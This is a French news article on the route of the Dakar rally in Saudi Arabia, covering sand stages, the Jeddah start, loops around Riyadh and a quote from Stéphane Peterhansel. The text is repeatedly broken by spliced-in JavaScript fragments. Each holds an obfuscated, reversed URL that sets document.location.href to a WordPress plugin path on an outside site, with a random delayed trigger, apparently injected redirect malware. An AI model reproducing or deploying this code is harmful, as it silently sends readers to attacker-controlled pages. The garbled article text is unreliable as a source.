Pour sa troisième expérience en Arabie Saoudite, le Dakar poursuit son exploration des territoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toires en allant chercher une proportion de sable encore plus élevée sur les spéciales au programme. Sur pistes ou en surfant sur d’immenses cordons de dunes, les pilotes et équipages se départageront sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les types de sable. Ils ont aussi saisi que les subtilités de la navigation à la saoudienne, caractérisée par des choix à effectuer dans des enchevêtrements de pistes, changent aussi la donne de la bataille des chefs.

Le parcours complet a révélé un tracé semblable au précédent, un toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour du pays dont le prologue partira de Jeddah, une ville portuaire du centre-ouest qui accueillera également l’arrivée après douze étapes, plus une de qualification. Mais l’aéroport et le podium seront les seules opportunités pour les concurrents de voir la mer Rouge: exit cette année la route littoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torale de 2021, remplacée par deux boucles autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour de Riyad. Les pilotes fonceront directement dans l’aride vers Ha’il au cours d’une première étape de qualification. Ils enchaîneront dès le deuxième jour sur une étape marathon (sans assistance sur le bivouac) déjà piégeuse, aux dires de Stéphane Peterhansel, surnommé «Monsieur Dakar» et détenteur du record de victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toires dans l’épreuve (14 succès, dont six à motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to) : «Ça arrive très tôt, on sait que c’est compliqué et qu’on peut perdre beaucoup sur ces étapes».